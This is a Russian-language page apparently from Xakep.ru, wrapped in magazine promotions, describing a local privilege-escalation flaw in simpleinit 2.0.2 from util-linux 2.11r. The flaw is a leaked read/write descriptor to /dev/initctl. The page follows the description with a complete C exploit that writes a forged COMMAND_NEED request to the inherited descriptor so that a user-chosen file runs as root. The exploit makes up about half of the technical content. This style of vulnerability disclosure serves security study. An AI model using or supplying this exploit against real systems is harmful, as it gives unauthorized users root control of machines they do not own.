Продукты «Хакера»

  • Ежеквартальный «Хакер» #3

    Лучшие статьи квартала на бумаге

    2 000 ₽

    Заказать журнал
  • Годовая подписка на Xakep.ru

    Полный доступ к статьям и архиву выпусков

    6 000 ₽ в год

    Подписаться
  • «Пентест WEB» для начинающих

    Совместный курс «Хакера» и лаборатории «Хаксет»

    7 000 ₽

    Купить курс
  • Спецвыпуск «Хакера» #4

    Лучшие статьи за 2021–2022 годы на бумаге

    2 000 ₽

    Заказать журнал

Уязвимость, обнаруженная в simpleinit, позволяет пользователю выполнять произвольные команды как суперпользователь. 

Уязвимость возникает из-за того, что simpleinit позволяет некоторым дочерним процессам унаследовать дескриптор файла с правами на чтение/запись. Файловый дескриптор используется для доступа к /dev/initctl и этот дескриптор обычно используется программами 'initctl', 'need' и 'provide' для передачи инструкций к simpleinit. Процесс Simpleinit запущен с root привилегиями. 

Местный пользователь, чей процесс унаследует этот дескриптор файла, может заставить Simpleinit выполнять команды как суперпользователь. 

Уязвимость обнаружена в Richard Gooch simpleinit 2.0.2 + util-linux util-linux 2.11 r.

Эксплоит

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "simpleinit.h" /* From the util-linux source */

int main()
{
int fd = 3;
char buf[COMMAND_SIZE];
struct command_struct* cmd = (struct command_struct*) buf;

memset(buf, '\0', sizeof(buf));
cmd->command = COMMAND_NEED;
cmd->pid = 17;
cmd->ppid = 16;
strcpy(cmd->name, "/home/pat/x/foo"); /* foo will be run as root */
write(fd, buf, COMMAND_SIZE);
return 0;
}

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии